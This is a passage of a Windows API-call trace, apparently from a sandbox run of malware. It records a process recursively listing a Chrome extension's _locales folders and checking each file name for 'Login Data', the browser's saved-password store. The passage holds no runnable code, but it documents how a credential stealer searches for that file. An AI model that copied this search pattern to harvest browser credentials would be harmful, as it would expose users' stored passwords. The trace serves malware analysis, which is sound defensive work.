(lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.831] lstrlenA (lpString="he") returned 2 [0054.831] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.831] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0054.831] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 131 [0054.831] lstrlenA (lpString="\\*.*") returned 4 [0054.831] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0054.831] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*" [0054.831] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.831] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.831] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.831] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.831] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.831] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.831] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.831] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.831] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.831] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.831] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0054.831] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0054.831] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.831] lstrlenA (lpString="\\") returned 1 [0054.831] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.831] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.832] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.832] lstrlenA (lpString="hi") returned 2 [0054.832] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.832] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0054.832] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 131 [0054.832] lstrlenA (lpString="\\*.*") returned 4 [0054.832] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0054.832] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*" [0054.832] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.832] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.832] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.832] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.832] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.832] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.832] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.832] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.832] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.832] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.832] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0054.832] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0054.832] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.832] lstrlenA (lpString="\\") returned 1 [0054.832] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.832] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.832] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.832] lstrlenA (lpString="hu") returned 2 [0054.832] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.832] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0054.832] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 131 [0054.832] lstrlenA (lpString="\\*.*") returned 4 [0054.832] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0054.832] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*" [0054.832] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.832] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.833] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.833] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.833] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.833] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.833] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.833] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.833] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.833] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.833] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0054.833] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0054.833] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.833] lstrlenA (lpString="\\") returned 1 [0054.833] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.833] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.833] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.833] lstrlenA (lpString="id") returned 2 [0054.833] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.833] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0054.833] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 131 [0054.833] lstrlenA (lpString="\\*.*") returned 4 [0054.833] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0054.833] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*" [0054.833] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.833] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.833] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.833] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.833] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.833] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.833] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.833] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.833] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.833] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.833] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0054.833] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0054.833] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.833] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.833] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.834] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.834] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0054.834] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0054.834] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*" [0054.834] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.834] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.834] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.834] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.834] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.834] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.834] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.834] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.834] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.834] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.834] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0054.834] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0054.834] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.834] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 